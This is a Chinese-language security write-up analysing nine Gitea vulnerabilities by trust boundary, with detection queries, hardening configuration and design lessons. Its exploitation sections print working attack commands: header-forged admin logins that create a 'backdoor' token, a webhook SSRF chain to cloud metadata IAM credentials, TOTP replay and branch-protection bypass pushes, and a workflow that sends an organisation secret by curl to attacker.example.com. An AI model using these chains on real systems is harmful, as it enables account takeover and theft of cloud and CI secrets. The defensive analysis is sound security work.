0. 背景与写作视角
2026年某次例行安全发布中,Gitea在同一天集中披露了9个安全漏洞,其中5个为Critical/High级别,CVSS最高9.8。这并非一次"零散bug补丁"——把9个CVE放到同一张信任边界地图上,会发现它们落在5条不同的信任链上,而每一条链上都有一个"边界被静默绕过"的设计模式。
本文不做漏洞公告的翻译,而是回答三个工程问题:
- 为什么这5个洞会在同一时间集中爆发?——共因是"默认信任"哲学。
- 作为平台方,如何在一周内自证未受影响?——给出可执行的
grep规则与日志查询。 - 作为防御方,如何避免下一个同类洞?——给出信任边界设计模式层面的复盘。
读者画像:自建Gitea实例的运维;CI/CD平台负责人;关注供应链安全的蓝队。
1. 漏洞全景表
为方便后续分析,先把9个CVE按"信任边界"维度重新组织。注意CVSS仅作优先级参考,真正的风险取决于部署上下文(例如CVE-2026-20896在裸机二进制部署下风险为0,在官方Docker镜像下风险为9.8)。
| CVE | CVSS | 类型 | 信任边界 | 一句话 |
|---|---|---|---|---|
| CVE-2026-20896 | 9.8 | 认证绕过 | 网络信任 | Docker镜像默认REVERSE_PROXY_TRUSTED_PROXIES=*,一个X-WEBAUTH-USER header冒充任意用户 |
| CVE-2026-58443 | 9.6 | 越权 | 仓库信任 | public-only token越权推送私有仓库PR,破坏权限隔离 |
| CVE-2026-58426 | 9.6 | 隔离失效 | 任务隔离 | HMAC签名歧义导致跨仓库artifact读写 |
| CVE-2026-22874 | 9.6 | SSRF | 网络安全 | Go标准库net.IP.IsPrivate()覆盖不全,RFC 6598 CGN地址(100.64.0.0/10)和云元数据(169.254.169.254)可达 |
| CVE-2026-56750 | — | 会话 | 会话信任 | Remember-Me token被盗后不失效攻击者会话 |
| CVE-2026-20779 | 7.1 | 2FA绕过 | 认证信任 | TOTP TOCTOU竞态条件,一个OTP在web登录/密码重置/Basic-Auth三处重复使用 |
| CVE-2026-27775 | High | 提权 | 权限信任 | push多ref时缓存第一个ref的写权限检查,分支维护者提升为全仓库写权限 |
| GHSA-rjvx-x5h2-6px5 | High | API绕过 | API信任 | 组织成员通过API fork绕过仓库创建限制,注入Actions工作流窃取组织CI/CD secrets |
| CVE-2026-24451 | High | 信息泄露 | 仓库信任 | Fork同步在父仓库变私后继续 |
5个Critical/High的"信任边界"分布如下(ASCII示意):
┌──────────────────────────────────────────┐
│ Gitea Instance │
Internet ──────────▶│ │
│ ┌─────────────┐ ┌──────────────────┐ │
[网络信任] │ │ Reverse Proxy│ │ Webhook/Migrate │ │
CVE-2026-20896 ────▶│ │ X-WEBAUTH │ │ SSRF Filter │ │
CVE-2026-22874 ────▶│ └──────┬──────┘ └────────┬─────────┘ │
│ │ │ │
│ ┌──────▼───────────────────▼─────────┐ │
│ │ AuthN / AuthZ Layer │ │
[认证/会话信任] │ │ TOTP(20779) RememberMe(56750) │ │
│ └──────┬──────────────────────────────┘ │
│ │ │
│ ┌──────▼──────────────────────────────┐ │
[仓库/权限信任] │ │ Repo ACL Push Ref(27775) │ │
CVE-2026-58443 ────▶│ │ Fork API(rjvx) Fork Sync(24451) │ │
│ └──────┬──────────────────────────────┘ │
│ ┌──────▼──────────────────────────────┐ │
[任务隔离信任] │ │ Actions Runner / Artifact Store │ │
CVE-2026-58426 ────▶│ │ HMAC Scope Boundary │ │
│ └─────────────────────────────────────┘ │
└──────────────────────────────────────────┘
后续章节按"网络信任 → 网络安全 → 认证信任 → 权限/API信任 → 任务隔离信任"顺序逐个拆解。
2. CVE-2026-20896:一个Header改写身份(9.8 Critical)
2.1 漏洞本质
Gitea支持反向代理认证(REVERSE_PROXY_AUTHENTICATION_USER),其设计假设是:反向代理已对用户完成认证,并在请求头中注入可信的身份声明。Gitea本身只校验"请求来源IP是否在REVERSE_PROXY_TRUSTED_PROXIES列表内",若在列表内,则直接信任X-WEBAUTH-USER header的值作为当前登录用户。
问题出在官方Docker镜像的app.ini模板:
# 官方Docker镜像内 /data/gitea/conf/app.ini 片段(漏洞版本)
[security]
REVERSE_PROXY_AUTHENTICATION_USER = enabled
REVERSE_PROXY_TRUSTED_PROXIES = *
* 表示信任任何来源IP。文档默认值是127.0.0.0/8,::1/128(仅loopback),但Docker镜像在模板里把它覆盖成*,导致Gitea实例一旦暴露在3000端口(且未走真正的反代),任何人都可用一个header冒充任意用户。
2.2 利用链
利用极其简单,门槛接近0:
# 直接以admin身份登录目标实例(前提:3000端口可达)
curl -H "X-WEBAUTH-USER: admin" http://target:3000/
# 拉取admin可见的全部仓库列表
curl -H "X-WEBAUTH-USER: admin" http://target:3000/api/v1/repos/list
# 创建一个拥有admin scope的token,持久化访问
curl -X POST -H "X-WEBAUTH-USER: admin" \
-H "Content-Type: application/json" \
-d '{"name":"backdoor","scopes":["write:admin","read:issue","write:repository"]}' \
http://target:3000/api/v1/users/admin/tokens
整条链路只有一步:发一个带header的HTTP请求。这把"网络信任"边界从"反代后端"直接推到了"公网任意IP"。
2.3 影响面判断
- 受影响:使用官方Docker镜像(
gitea/gitea)且3000端口可达外部。 - 不受影响:二进制分发、自建部署,它们使用
app.example.ini里的loopback默认值;或在反代后用REVERSE_PROXY_LIMITER严格限制源IP。 - 修复:PR #38151,从Docker模板中删除这两行配置,回退到
app.example.ini的loopback默认。
2.4 为什么这种洞最危险
它直接击穿了DevOps平台的"身份"原语。Gitea后面所有的权限模型——仓库ACL、Actions secret访问、CI凭据下发——都以"当前用户身份可信"为前提。一旦身份可被一个header改写,下游所有信任边界都失效。这就是为什么把它排在第一。
3. CVE-2026-22874:标准库盲区导致SSRF可达云元数据(9.6 Critical)
3.1 漏洞本质
Gitea的webhook触发、仓库迁移(migrate)、Actions runner注册等场景都会主动发起出站HTTP请求。为防止SSRF,Gitea实现了一个IP白名单/黑名单过滤器,过滤逻辑大量复用Go标准库的net.IP.IsPrivate():
// 漏洞版本Gitea的SSRF过滤伪代码
func isBlocked(ip net.IP) bool {
if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() {
return true
}
// ... 业务侧补充规则
return false
}
问题在于,Go 1.17之前(以及部分后续版本的实现细节)net.IP.IsPrivate()只覆盖RFC 1918的三段私有地址:
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
而以下两段"事实私有但标准库未覆盖"的地址未被拦截:
- RFC 6598 CGN地址:
100.64.0.0/10(运营商级NAT,常被云商用作内网Pod网段) - Link-local元数据地址:
169.254.169.254(AWS/GCE/Azure云元数据服务)
3.2 利用链:从webhook到AWS IAM临时凭据
攻击者只需拥有一个普通账号(甚至只需public仓库的写权限即可创建webhook):
# 1. 在自己控制的仓库里配置一个webhook,URL指向云元数据
# URL: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# 2. 触发webhook(push一次即可)
git commit --allow-empty -m "trigger" && git push
# 3. 在webhook delivery历史里查看返回体
# Gitea会把响应体回显在 "Delivery Details" 页面:
# {
# "AccessKeyId": "ASIA...",
# "SecretAccessKey": "wJalrXUtn...",
# "Token": "IQoJb3Jp...",
# "Expiration": "2026-07-27T..."
# }
拿到的临时凭据可直接用于AWS CLI:
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=wJalrXUtn...
export AWS_SESSION_TOKEN=IQoJb3Jp...
aws s3 ls # 列出该IAM角色可访问的全部S3 bucket
aws sts get-caller-identity
完整的攻击链:
[普通用户] ──push──▶ [Gitea webhook]
│
│ 发起HTTP请求
▼
[SSRF过滤器 IsPrivate()]
│
│ 169.254.169.254 不在RFC1918 → 放行
▼
[AWS IMDSv1 元数据服务]
│
│ 返回IAM临时凭据
▼
[webhook delivery响应体回显]
│
▼
[攻击者拿到IAM凭据 → 横向到云上资源]
PoC已公开:https://github.com/Eliot-code/CVE-2026-22874-PoC。这意味着该洞的实战利用率非常高,任何跑在AWS/GCE/Azure上的Gitea实例,只要允许普通用户创建webhook或migrate仓库,都应视为已被攻陷。
3.3 修复方向
Gitea侧的修复分两层:
- 业务侧补充黑名单:在
isBlocked里显式加入100.64.0.0/10、169.254.0.0/16、0.0.0.0/8、IPv6的fc00::/7、fe80::/10等。 - 依赖Go 1.18+:Go 1.18起
net.IP.IsPrivate()已覆盖RFC 4193(IPv6 ULA)但仍未覆盖RFC 6598——这是Go标准库一个长期未闭合的issue,平台方不能依赖标准库兜底。
更深一层的修复是强制IMDSv2(见第8节)。
4. CVE-2026-20779:TOTP跨surface重放(7.1 High)
4.1 漏洞本质
TOTP(Time-based One-Time Password)的安全模型要求"一个OTP code在一次有效窗口(通常30秒)内只能被使用一次"。Gitea在1.26.3之前实现了"已用code标记"机制,但这个标记是按surface隔离的:
- Web登录页
/user/login有一个usedOTP集合 - 密码重置流程
/user/forgot_password有另一个usedOTP集合 - Basic-Auth场景下从
X-Gitea-OTPheader读取OTP,又有一套独立判断
这导致同一个6位TOTP code在30秒窗口内,可以同时用于三个不同的认证面。结合TOCTOU(Time-of-Check-to-Time-of-Use)竞态——check与mark-used不是原子的——攻击者用并发请求即可在同一秒内复用同一个code。
4.2 利用链
前提:攻击者已通过钓鱼/中间人/键盘嗅探拿到受害者的当前TOTP code(30秒窗口)。
# 攻击者在30秒内并发发起三个请求
# (1) Web登录
curl -c cookies.txt -X POST http://target:3000/user/login \
-d "user_name=victim&password=<已知密码>&totp=<OTP>"
# (2) 同时发起密码重置确认
curl -X POST http://target:3000/user/recover_account \
-d "totp=<同一个OTP>"
# (3) 同时用Basic-Auth拉API
curl -u "victim:<已知密码>" \
-H "X-Gitea-OTP: <同一个OTP>" \
http://target:3000/api/v1/users/victim/tokens
在三套usedOTP集合合并前,三个请求至少有一个能绕过"单次使用"约束。修复版本(1.26.3)把三套集合合并为全局唯一的usedOTP,并在check-mark之间加锁。
4.3 为什么CVSS只有7.1但实际危害大
CVSS打分考虑了"需要受害者凭据"这一前提,所以分不高。但在真实攻击链里,TOTP通常是最后一道防线——一旦被重放,意味着2FA形同虚设。配合CVE-2026-56750(Remember-Me token被盗后不失效攻击者会话),可形成"窃取凭据 → 绕2FA → 持久化会话"的完整链条。
5. CVE-2026-27775:多ref push的权限缓存陷阱(High)
5.1 漏洞本质
Git协议允许一次push同时更新多个ref,例如:
git push origin feature-a feature-b main refs/tags/v1.0
Gitea在处理multi-ref push时,对每个ref都要做权限检查(该用户对该分支是否有写权限)。漏洞版本的实现把第一个ref的检查结果缓存下来,后续ref直接复用:
// 漏洞版本伪代码(简化)
func (s *PushService) checkAllRefs(ctx context.Context, push *Push) error {
var cachedCanWrite bool // ← 缓存变量
var cachedChecked bool
for _, ref := range push.Refs {
if !cachedChecked {
cachedCanWrite = s.repo.CanWrite(ctx, push.User, ref)
cachedChecked = true
}
// 后续ref直接用 cachedCanWrite,跳过实际权限校验
if !cachedCanWrite {
return ErrForbidden
}
s.applyRef(ref)
}
return nil
}
5.2 利用链:分支维护者 → 全仓库写权限
Gitea支持"branch protection"下的"分支维护者"角色:用户对受保护分支没有直接写权限,但被指定为该分支的maintainer,可以批准/合并PR。漏洞让该用户通过精心构造的multi-ref push,把权限从"某分支maintainer"提升到"全仓库write"。
# 场景:alice是 feature/* 分支的maintainer,对 main 无写权限
# 攻击:把第一个ref设为 alice 有权写的分支,第二个ref设为 main
git checkout -b feature/pwn
echo "backdoor" > backdoor.txt
git add backdoor.txt && git commit -m "pwn"
# 同时push两个ref:第一个通过权限检查并缓存,第二个直接复用缓存结果
git push origin \
HEAD:refs/heads/feature/pwn \
HEAD:refs/heads/main # ← 本应被拒,但复用了缓存→放行
结果:main分支被直接写入,绕过branch protection。如果main触发CD流水线,攻击者下一步即可篡改部署产物。
5.3 修复
把权限检查从"按push缓存"改为"按ref独立校验",并确保check与use在同一事务内,避免TOCTOU。
6. GHSA-rjvx-x5h2-6px5:API fork绕过窃取组织secrets(High)
6.1 漏洞本质
Gitea的"组织仓库创建"在Web UI和API两条路径上权限校验不一致:
- Web UI:创建仓库前检查
CanCreateOrgRepo权限(仅owner/team admin拥有)。 - API
/api/v1/repos/{org}/{repo}/fork:fork端点不检查CanCreateOrgRepo,只检查"源仓库是否可fork"。
// 漏洞版本伪代码
// Web UI路径
func CreateOrgRepo(ctx, org, user) error {
if !org.CanCreateOrgRepo(user) {
return ErrForbidden // ← 普通成员被拦
}
return createRepo(ctx, org, user)
}
// API fork路径
func ForkRepo(ctx, srcRepo, dstOwner, user) error {
if !srcRepo.CanBeForkedBy(user) {
return ErrForbidden
}
// ← 缺少:dstOwner.CanCreateOrgRepo(user) 检查
return createFork(ctx, srcRepo, dstOwner, user)
}
6.2 利用链:fork → 启用Actions → 注入工作流 → 窃取secrets
组织级CI/CD secrets通常配置在组织层面,组织内所有启用Actions的仓库都可读取。漏洞让任意组织成员都能在组织名下fork出一个自己作为admin的仓库:
# alice是 org-a 的普通成员,没有创建仓库权限
# 但可以通过API fork组织仓库到 org-a 名下
curl -X POST \
-H "Authorization: token <alice-token>" \
-H "Content-Type: application/json" \
-d '{"organization":"org-a"}' \
http://target:3000/api/v1/repos/org-a/secret-repo/forks
# 新仓库 org-a/secret-repo-fork 中,alice是admin
# 1. 启用Actions
curl -X PATCH -H "Authorization: token <alice-token>" \
-d '{"has_actions":true}' \
http://target:3000/api/v1/repos/org-a/secret-repo-fork
# 2. 注入工作流,读取组织级secrets
cat > .gitea/workflows/exfil.yml <<'YAML'
name: exfil
on: [push]
jobs:
exfil:
runs-on: ubuntu-latest
steps:
- run: |
echo "${{ secrets.ORG_DEPLOY_KEY }}" | curl -X POST \
-d @- https://attacker.example.com/collect
YAML
git add .gitea/workflows/exfil.yml
git commit -m "ci" && git push
工作流在Gitea Actions runner上执行时,secrets.ORG_DEPLOY_KEY会被注入环境变量,攻击者通过curl把明文外发。
6.3 攻击链全景
[组织普通成员 alice]
│
│ API fork(绕过 CanCreateOrgRepo)
▼
[org-a/secret-repo-fork ← alice是admin]
│
│ 启用Actions + 注入工作流
▼
[Gitea Actions Runner]
│
│ 渲染 secrets.ORG_DEPLOY_KEY 到环境变量
▼
[工作流step执行 curl 外发]
│
▼
[攻击者收集到组织级CI/CD secrets]
│
▼
[横向到部署环境/镜像仓库/云账号]
这条链的危险在于权限模型在UI与API之间不对称——这是API安全里最经典的反模式。
7. 检测规则:如何在一周内自证未受影响
以下规则按"漏洞 → grep规则 → 日志特征"组织,可直接套用到自建Gitea实例。
7.1 CVE-2026-20896(认证绕过)
配置侧grep(在Gitea容器/二进制所在主机执行):
# 查找所有 app.ini,确认 REVERSE_PROXY_TRUSTED_PROXIES 是否为 *
find / -name "app.ini" 2>/dev/null | xargs grep -nE "REVERSE_PROXY_(TRUSTED_PROXIES|AUTHENTICATION_USER)" 2>/dev/null
# 预期(安全):
# /data/gitea/conf/app.ini:42: REVERSE_PROXY_TRUSTED_PROXIES = 127.0.0.0/8,::1/128
# 风险:
# /data/gitea/conf/app.ini:42: REVERSE_PROXY_TRUSTED_PROXIES = *
访问日志特征:被利用时,日志里会出现"无登录态但用户身份非空"的请求。可疑模式:
# Gitea access log(router log)
... "GET / HTTP/1.1" 200 ... "X-WEBAUTH-USER: admin" ...
... "POST /api/v1/users/admin/tokens HTTP/1.1" 201 ... "X-WEBAUTH-USER: admin" ...
排查SQL(以SQLite为例):
-- 找出最近7天通过X-WEBAUTH-USER登录的会话
SELECT user_id, created_unix, ip
FROM session
WHERE created_unix > strftime('%s','now','-7 days')
AND user_id IN (SELECT id FROM user WHERE is_admin = 1)
ORDER BY created_unix DESC;
7.2 CVE-2026-22874(SSRF)
配置侧grep:检查webhook/migrate是否对普通用户开放:
grep -nE "ALLOWED_HOSTS|SSRF|WEBHOOK" /data/gitea/conf/app.ini
访问日志特征:webhook delivery的目标URL指向元数据或CGN地址。可在webhook表里直接查:
SELECT id, repo_id, url, created_unix
FROM webhook
WHERE url LIKE '%169.254%' -- link-local 元数据
OR url LIKE '%100.64.%' -- RFC 6598 CGN
OR url LIKE '%metadata.google.internal%'
OR url LIKE '%metadata.azure.com%'
ORDER BY created_unix DESC;
出站流量特征(在主机netflow里):
# 抓Gitea进程对169.254.169.254的出站连接
tcpdump -nn -i any 'host 169.254.169.254 and tcp port 80' 2>/dev/null
7.3 CVE-2026-20779(TOTP重放)
日志特征:同一用户在同一秒内出现多个不同surface的TOTP验证。Gitea的log表(或外部日志系统)里可查询:
SELECT user_id, created_unix, description
FROM log
WHERE description LIKE '%TOTP%'
AND created_unix > strftime('%s','now','-7 days')
ORDER BY user_id, created_unix;
-- 异常:同一 user_id 在 < 5秒 内出现 ≥2 条 TOTP 记录
7.4 CVE-2026-27775(多ref push权限缓存)
日志特征:单次push同时更新多个ref,且其中包含受保护分支。可从git hook日志或Gitea的repo审计日志中提取:
# Gitea log中查找 multi-ref push
grep -E "refs/heads/(main|master|release/)" /data/gitea/log/gitea.log | \
awk -F'refs/' '{print NF-1, $0}' | awk '$1>1{print}'
7.5 GHSA-rjvx-x5h2-6px5(API fork绕过)
审计SQL:
-- 找出组织名下的fork仓库,其创建者不是组织owner
SELECT r.owner_id, r.name, r.is_fork, u.login, u.is_admin
FROM repository r
JOIN user u ON r.owner_id = u.id
WHERE r.is_fork = 1
AND r.owner_id IN (SELECT id FROM user WHERE type = 1) -- type=1 组织
ORDER BY r.created_unix DESC;
工作流审计:检查近期是否有仓库在push后立刻执行了含curl/wget外发的workflow:
find / -path "*/.gitea/workflows/*.yml" -newer /tmp/marker 2>/dev/null | \
xargs grep -lE "curl|wget|http" 2>/dev/null
8. 修复方案:升级 + 配置加固 + 云侧防御
8.1 升级到1.26.4+
# Docker
docker pull gitea/gitea:1.26.4
docker compose down && docker compose up -d
# 二进制
wget https://dl.gitea.com/gitea/1.26.4/gitea-1.26.4-linux-amd64
chmod +x gitea-1.26.4-linux-amd64
mv gitea-1.26.4-linux-amd64 /usr/local/bin/gitea
systemctl restart gitea
升级后务必执行gitea doctor,确认配置一致性。
8.2 收紧REVERSE_PROXY_TRUSTED_PROXIES
即使升级到1.26.4,仍建议在app.ini里显式写死可信反代网段,避免任何后续模板回归:
[security]
REVERSE_PROXY_AUTHENTICATION_USER = enabled
REVERSE_PROXY_TRUSTED_PROXIES = 127.0.0.0/8,::1/128,10.0.0.0/8
REVERSE_PROXY_LIMITER = enabled
并在网络层用防火墙把3000端口限定到反代源IP:
# iptables示例:只允许反代(10.0.0.5)访问3000
iptables -A INPUT -p tcp --dport 3000 -s 10.0.0.5 -j ACCEPT
iptables -A INPUT -p tcp --dport 3000 -j DROP
8.3 强制IMDSv2并加网络策略
针对CVE-2026-22874,云侧加固比应用侧更可靠:
AWS EC2:强制IMDSv2,并要求Token hop-limit=1:
aws ec2 modify-instance-metadata-options \
--instance-id i-xxxxxxxx \
--http-tokens required \
--http-put-response-hop-limit 1 \
--http-endpoint enabled
K8s NetworkPolicy:禁止Gitea Pod访问元数据地址:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: gitea-deny-metadata
namespace: gitea
spec:
podSelector:
matchLabels:
app: gitea
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32
- 100.64.0.0/10
- 10.0.0.0/8 # 视实际内网规划调整
8.4 禁用/收紧Actions fork路径
短期:在组织层面禁用"普通成员fork到组织名下":
[repository]
DISABLE_FORKS_TO_ORG = true ; Gitea 1.26.4+新增配置项
长期:把组织级secrets改为"按仓库授权"模型,仅对显式信任的仓库下发,避免被fork仓库继承。
8.5 加固矩阵
| 漏洞 | 升级1.26.4 | 配置加固 | 网络层加固 | 监控 |
|---|---|---|---|---|
| CVE-2026-20896 | 必须 | 写死TRUSTED_PROXIES | 限制3000端口源 | X-WEBAUTH-USER日志 |
| CVE-2026-22874 | 必须 | 收紧webhook白名单 | NetworkPolicy + IMDSv2 | webhook目标URL审计 |
| CVE-2026-20779 | 必须 | — | — | TOTP频率监控 |
| CVE-2026-27775 | 必须 | — | — | multi-ref push告警 |
| GHSA-rjvx-x5h2-6px5 | 必须 | DISABLE_FORKS_TO_ORG | — | fork到组织审计 |
| CVE-2026-58443 | 必须 | — | — | token scope审计 |
| CVE-2026-58426 | 必须 | — | runner隔离 | artifact跨仓读取告警 |
| CVE-2026-56750 | 必须 | 缩短Remember-Me TTL | — | 异地登录告警 |
| CVE-2026-24451 | 必须 | 定期review私有化fork | — | fork sync失败日志 |
9. 信任边界设计模式分析:5个洞的共因
把5个Critical/High放到一起看,它们不是孤立的bug,而是同一个设计哲学的五个症状。
9.1 共因一:默认信任(Trust by Default)
| 漏洞 | 默认信任了什么 |
|---|---|
| CVE-2026-20896 | 默认信任任何源IP的X-WEBAUTH-USER |
| CVE-2026-22874 | 默认信任Go标准库的IsPrivate()覆盖完整 |
| CVE-2026-27775 | 默认信任"第一个ref的权限=后续ref的权限" |
| GHSA-rjvx-x5h2-6px5 | 默认信任"API与UI权限模型一致" |
| CVE-2026-58426 | 默认信任HMAC签名scope不会被歧义解析 |
"默认信任"在工程上能减少配置摩擦,但在安全上等于把开关默认设为"开"。修复方向是Default Deny:所有跨边界声明必须显式配置可信来源,未配置即拒绝。
9.2 共因二:边界对称性缺失
CVE-2026-20779(TOTP三套usedOTP集合)和GHSA-rjvx-x5h2-6px5(UI/API权限不一致)都是同一类问题:同一个语义概念在不同入口有不同的实现。
语义:用户是否有权创建组织仓库
│
┌───────────┴───────────┐
▼ ▼
Web UI检查 API fork端点
CanCreateOrgRepo (未检查)
│ │
▼ ▼
拦截普通成员 允许任意成员fork
设计原则应是:权限决策必须收敛到单一函数,所有入口调用同一实现。任何"复制粘贴的权限判断"都是未来漏洞的种子。
9.3 共因三:状态缓存与时间窗口
CVE-2026-27775(权限缓存)和CVE-2026-20779(TOTP TOCTOU)都涉及"检查"与"使用"之间的时间窗口。缓存是性能优化的必需品,但缓存的对象必须是不可变事实(如"该用户是否存在"),而不是可变权限(如"该用户当前是否有写权限")。
错误模式: 正确模式:
┌─────────────┐ ┌─────────────┐
│ check(ref1) │ ──缓存──▶ │ check(ref1) │
└─────────────┘ └──────┬──────┘
│ 不缓存
┌─────────────┐ ▼
│ use(ref2) │ ◀──复用缓存 ┌─────────────┐
└─────────────┘ │ check(ref2) │
└──────┬──────┘
▼
┌─────────────┐
│ use(ref2) │
└─────────────┘
9.4 共因四:依赖外部组件的安全语义
CVE-2026-22874把SSRF防御委托给Go标准库net.IP.IsPrivate(),但标准库的"private"语义与平台安全所需的"不可达"语义并不等价。这是供应链安全里的经典陷阱:
平台需求:阻止访问任何"非公网"地址
│
│ 委托
▼
Go标准库 IsPrivate()
│
│ 语义:RFC 1918 + 部分扩展
│ 缺失:RFC 6598, link-local元数据, 云商自定义
▼
防御盲区
修复原则:外部组件只作参考,安全决策必须由平台自己定义边界。把"私有地址列表"作为平台配置项维护,而不是假设标准库会覆盖所有场景。
9.5 共因五:隔离边界用密码学但scope歧义
CVE-2026-58426(HMAC签名歧义)属于这一类。HMAC本身是可靠的,但HMAC的输入消息如果允许"歧义解析"(例如repo_id:artifact_path没有定长分隔,12:3可被解析为repo=1 path=2:3或repo=12 path=3),就等于把密码学边界降级为字符串边界。修复方法是使用长度前缀或结构化编码(如CBOR/protobuf),杜绝歧义。
10. 给DevOps平台方的三条工程化建议
10.1 建立"信任边界清单"
每个平台组件都应维护一份显式的信任边界清单,例如:
trust_boundaries:
- name: reverse_proxy
inbound_trust: [127.0.0.0/8, ::1/128]
enforced_by: app.ini + iptables
owner: platform-team
review_cadence: quarterly
- name: ssrf_egress
blocked_cidr: [169.254.0.0/16, 100.64.0.0/10, 0.0.0.0/8]
enforced_by: gitea filter + NetworkPolicy
owner: platform-team
review_cadence: monthly
- name: artifact_scope
signed_by: HMAC-SHA256
encoding: length-prefixed
enforced_by: actions runner
owner: ci-team
review_cadence: on-change
每次发布前对照清单逐项核对。
10.2 引入"权限决策单一来源"
把所有Can(user, action, resource)调用收敛到一个service,强制所有入口(Web、API、git hook、Actions runner)都走这个service。任何新入口必须先在service里注册action,否则编译期失败。
10.3 把advisory映射到信任边界
安全advisory进来时,先做"信任边界归类"而不是"CVSS排序"。同一个信任边界上的多个洞,即使CVSS不高,也应作为一组issue处理,因为它们往往指向同一个设计缺陷。本次Gitea的9个CVE,按信任边界归类后,5条边界各有1-2个洞——这就是"设计缺陷的回声"。
11. 结语
把这5个Critical/High放到一起看,最大的教训不是"哪个header没校验"或"哪个标准库有盲区",而是:DevOps平台是信任的中枢,它的每一个边界都值得被显式建模。
- 网络信任:谁可以注入身份声明?
- 网络安全:谁可以触发出站请求?去哪?
- 认证信任:OTP的"单次有效"在哪个范围内成立?
- 权限信任:UI和API的权限模型是否同构?
- 任务隔离信任:密码学边界是否被编码歧义架空?
回答清楚这五个问题,比追着CVSS打补丁更接近本质。Gitea这次的集中披露,对整个DevOps平台生态都是一份免费的架构审计报告——值得每个自建平台的人逐条对照。
升级到1.26.4+,收紧REVERSE_PROXY_TRUSTED_PROXIES,强制IMDSv2,把组织secrets改成按仓库授权。这三件事本周内就能做完,剩下的设计层重构可以排进下个季度的hardening sprint。
本文基于Gitea官方安全公告与公开PoC整理,漏洞利用细节仅用于防御性检测与加固。
浙公网安备 33010602011771号